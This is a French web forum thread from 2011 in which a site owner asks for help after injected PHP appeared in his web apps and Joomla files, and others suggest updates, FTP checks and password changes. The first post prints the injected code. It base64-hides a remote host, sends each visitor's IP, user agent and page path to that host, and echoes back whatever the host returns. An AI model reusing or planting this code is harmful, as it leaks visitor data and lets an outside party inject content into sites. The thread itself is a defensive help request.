Page 1 sur 3
injection de code dans mes pages php
Posté : 14 déc. 2011, 11:45
par To1n00
Bonjour,
Ce matin, plusieurs bugs sur chacune des pages index de mes petites application web.
Un code a été injecté en début de script. Voici le code :
if (!isset($sRetry))
{
global $sRetry;
$sRetry = 1;
// This code use for global bot statistic
$sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); // Looks for google serch bot
$stCurlHandle = NULL;
$stCurlLink = "";
if((strstr($sUserAgent, 'google') == false)&&(strstr($sUserAgent, 'yahoo') == false)&&(strstr($sUserAgent, 'baidu') == false)&&(strstr($sUserAgent, 'msn') == false)&&(strstr($sUserAgent, 'opera') == false)&&(strstr($sUserAgent, 'chrome') == false)&&(strstr($sUserAgent, 'bing') == false)&&(strstr($sUserAgent, 'safari') == false)&&(strstr($sUserAgent, 'bot') == false)) // Bot comes
{
if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true){ // Create bot analitics
$stCurlLink = base64_decode( 'aHR0cDovL2hvdGxvZ3VwZGF0ZS5jb20vc3RhdC9zdGF0LnBocA==').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&check='.isset($_GET['look']);
$stCurlHandle = curl_init( $stCurlLink );
}
}
if ( $stCurlHandle !== NULL )
{
curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1);
$sResult = @curl_exec($stCurlHandle);
if ($sResult[0]=="O")
{$sResult[0]=" ";
echo $sResult; // Statistic code end
}
curl_close($stCurlHandle);
}
}
Visiblement j'ai des failles dans mon code. Mais je ne sais ni les identifier, ni les combler (vive les écoles d'ingé qui vous apprennent à coder sans se soucier des failles !).
Quelqu'un peut il me venir en aide SVP ? Sachant que ces applis web me servent pour mon boulot...
Merci d'avance pour l'aide que vous pourrez m'apporter !
To1n00
Re: injection de code dans mes pages php
Posté : 14 déc. 2011, 12:25
par To1n00
Petite précision, je viens de voir que mon site web qui est sous Joomla a également été injecté à plusieurs endroits (plusieurs fichiers index.php et default.php) En tout, 27 fichiers infectés sur mon site joomla...
Je suis donc curieux de savoir quelle failles de joomla a été exploitée....
en analysant mes logs, j'ai retrouvé l'ip qui est à l'origine de cette injection mais je ça ne m'apporte pas grand chose ....
Merci pour votre aide, car j'ai quelques lacunes en sécu....
Re: injection de code dans mes pages php
Posté : 14 déc. 2011, 12:48
par xTG
Joomla est largement utilisé, donc si tu ne l'as pas mis à jour il est normal de se faire facilement pirater.
Regardes les logs de majs de Joomla entre ta version et la dernière en téléchargement et tu auras toutes les failles potentielles.
Re: injection de code dans mes pages php
Posté : 14 déc. 2011, 13:29
par To1n00
Ok, Merci. Je vais déjà mettre Joomla à jour.
Actuellement j'ai la version 1.5.21
Quand je vais sur le site, je vois que la dernière version stable est la 1.5.25 Mais qu'on peu aussi télécharge la version 1.7 et qu'il y a aussi une bêta 2.5... Bref je ne comprend pas grand chose et je ne sais pas quelle version utiliser pour la MAJ... Pour le coup, Wordpress est plus simple pour la MAJ.. :d
Par contre, mes applis web, qui sont dans des dossier séparé de mon site Joomla, mais sur le même serveur ont été infecté... Celà viendrait t'il d'une faille dans mon code ?
j'ai contrôlé sur ce que je pouvais, je n'ai pas remarqué de faille "évidente"...
Re: injection de code dans mes pages php
Posté : 14 déc. 2011, 15:45
par Mazarini
Bonjour,
Pour connaitre les failles utilisées et les corrigés, il faudrait que l'on étudie ton code et le code de joomla. Je doute que quelqu'un prenne le temps de lire tout le code.
Comme ton code n'est probablement pas diffusé, il est probable que la faille utilisée provienne de joomla. La mise à jour régulière est certainement le meilleur moyen d'éviter des problèmes.
Nombre de "pirates" se contentent de tester des failles connues en balayant des plages d'adresses IP ou des listes de domaines en espérant trouver un serveur qui répondent positivement à la faille testée. Je constate de nombreuse tentative sur mon serveur.
Re: injection de code dans mes pages php
Posté : 14 déc. 2011, 16:04
par moogli
j'adore le base64_encode pou cacher le "
http://hotlogupdate.com/stat/stat.php" ^^
sinon pour joomla, le mieux c'est demander sur un forum dédier.
je te conseillerais par défaut de prendre la dernière version dans ta branche (1.5.25 donc ?). et de voir commence ce passe la mise a jour de la 1.5 vers 1.5 je te déconseille la béta
@+
Re: injection de code dans mes pages php
Posté : 14 déc. 2011, 18:04
par liens_geeks
Hello,
J'ai utilisé plusieurs fois acunetix, qui est un logiciel de scanners de failles.
C'est très efficace et je pense que ça permettrait de détecter les URLs en cause rapidement.
Le HIC c'est qu'il est payant
http://www.acunetix.com/
Tu as des logs de conexion FTP, peut être que ce n'est pas l'applicatif qui est en casue?
Tes 27 fichiers, ont ils tous la même date de modification?
Ciao
Re: injection de code dans mes pages php
Posté : 14 déc. 2011, 18:14
par To1n00
Merci à vous tous d'avoir pris le temps de me répondre.
J'ai maintenant fais la mise à jour, je resterai vigilent là dessus.
En fait sur mon serveur j'ai à la racine un dossier "SiteWeb" sur lequel pointe mon nom de domaine.
Ensuite j'ai créé des sous domaines pointant vers divers autres dossiers, toujours à la racine.
Mazarini : Selon toi, il y a des chances que l'attaque soit venue d'abord sur Joomla, puis que cela se soit propagé dans mes autres dossiers, Peux tu me confirmer cette hypothèse de "propagation" ?
liens_geeks : oui j'ai les log FTP. En l'espace de 2 minutes, toutes le fichiers de mon serveurs ont été explorés par la même ip.
Re: injection de code dans mes pages php
Posté : 15 déc. 2011, 10:38
par moogli
Mazarini : Selon toi, il y a des chances que l'attaque soit venue d'abord sur Joomla, puis que cela se soit propagé dans mes autres dossiers, Peux tu me confirmer cette hypothèse de "propagation" ?
un seul suffit, après il fait ce qu'il veux le tout c'est de rentrer
@+
Re: injection de code dans mes pages php
Posté : 15 déc. 2011, 12:30
par Mazarini
Est ce que ton serveur est hébergé sur un serveur que tu gères toi même complètement ?
Si tu gères toi même le serveur (installation de l'OS) il est possible que l'origine de la faille soit dans cette installation. Par contre si tu ne touche pas au système et que cela est du ressort de l'hébergeur, c'est moins probable mais pas impossible.
Celà me semble compliquer de modifier les fichiers à partir d'une application PHP, je pencherai plus pour une faille du coté ftp ou ssh. Il faut voir du coté de Joomla si d'autres personnes ont subit les mêmes problèmes et idem du coté de ton hébergeur.
Pour ma part, j'avoue m'être dégonflé pour gérer mon serveur. Il m'arrive de créer un serveur virtuel et de faire joujou avec, mais j'ai un doute sur mes compétences par rapport à la sécurité.
J'ai fait quelques recherches, il semble que le problème soit lié au compte ftp. Donc nettoyage des fichiers puis changement des mots de passe. Ca semble suffire mais je n'ai pas poussé les recherches : un coup de google avec une partie du code injecté.
Re: injection de code dans mes pages php
Posté : 15 déc. 2011, 13:19
par liens_geeks
Celà me semble compliquer de modifier les fichiers à partir d'une application PHP, je pencherai plus pour une faille du coté ftp ou ssh. Il faut voir du coté de Joomla si d'autres personnes ont subit les mêmes problèmes et idem du coté de ton hébergeur.
Je ne connais pas Joomla mais sous wordpress, tu as un éditeur de fichiers PHP directement dans le backoffice. En 2 minutes tu peux faire plein de modifications
Re: injection de code dans mes pages php
Posté : 15 déc. 2011, 15:09
par To1n00
Re-belotte !
J'ai tout corrigé hier, et j'ai mis à jours mon Joomla. à l'instant, je viens de me rendre compte que j'ai subit la même attaque hier en fin d'après midi.
Ip différente, localisation différente, mais même code injecté.
Je ne gère pas mon serveur, j'ai opté pour un hebergeur (1*1 en l'occurence), donc je doute que le problème viennent de là (mais effectivement rien n'est impossible).
BackOffice de joomla, je ne pense pas... ça ne s'est pas fait manuellement vu la quantité de fichiers visités en 2 minutes (4-5000 à vue d'oeil).
Je vais changer le mot de passe de mon ftp et croiser les doigts...
Comment être sur que mon nouveau mot de passe ne sera pas trouvé lui aussi ... ?
Si toutefois quelqu'un a d'autre idées, je suis preneur
Re: injection de code dans mes pages php
Posté : 15 déc. 2011, 15:23
par Mazarini
D'après ce que j'ai trouvé via google, ce genre d'agissement s'est déjà produit en 2010. Il semble que la concéquence la plus visible soit une surcharge du serveur.
Fais des recherches via google avec des bouts du code injecté pour voir ce qui se dit à ce propos. Ca me semble le plus judicieux.
Vérifies également l'utilisateur qui a fait les modifications (dans la mesure ou l'utilisateur apache et l'utilisateur ftp n'est pas le même) pour voir si c'est lié à l'un ou à l'autre.
Tu peux également être victime d'un keyloger.
Vu la vitesse de reproduction de l'infection, tu sauras rapidement si tu es débarassé du problème.
Re: injection de code dans mes pages php
Posté : 15 déc. 2011, 15:26
par To1n00
Fais des recherches via google avec des bouts du code injecté pour voir ce qui se dit à ce propos. Ca me semble le plus judicieux.
ça marche, dès que j'aurai remis de l'ordre sur mon ftp, je commence les recherches.
Vérifies également l'utilisateur qui a fait les modifications (dans la mesure ou l'utilisateur apache et l'utilisateur ftp n'est pas le même) pour voir si c'est lié à l'un ou à l'autre.
Comment ?
Tu peux également être victime d'un keyloger.
ça me fait peur.... je regarde mes comptes sur internet :d
Sais tu comment je peux vérifier ça ?
Re: injection de code dans mes pages php
Posté : 15 déc. 2011, 16:28
par Mazarini
Normalement, lorsque tu regardes le contenu des répertoires avec un client ftp, tu a le nom du propriétaire du fichier si je ne me trompe pas. A moins que ce soit uniquement le nom du créateur.
Pour le keyloger, il faut trouver le logiciel qui va bien, genre SpyBot, Search & Destroy ou Ad-Aware Free.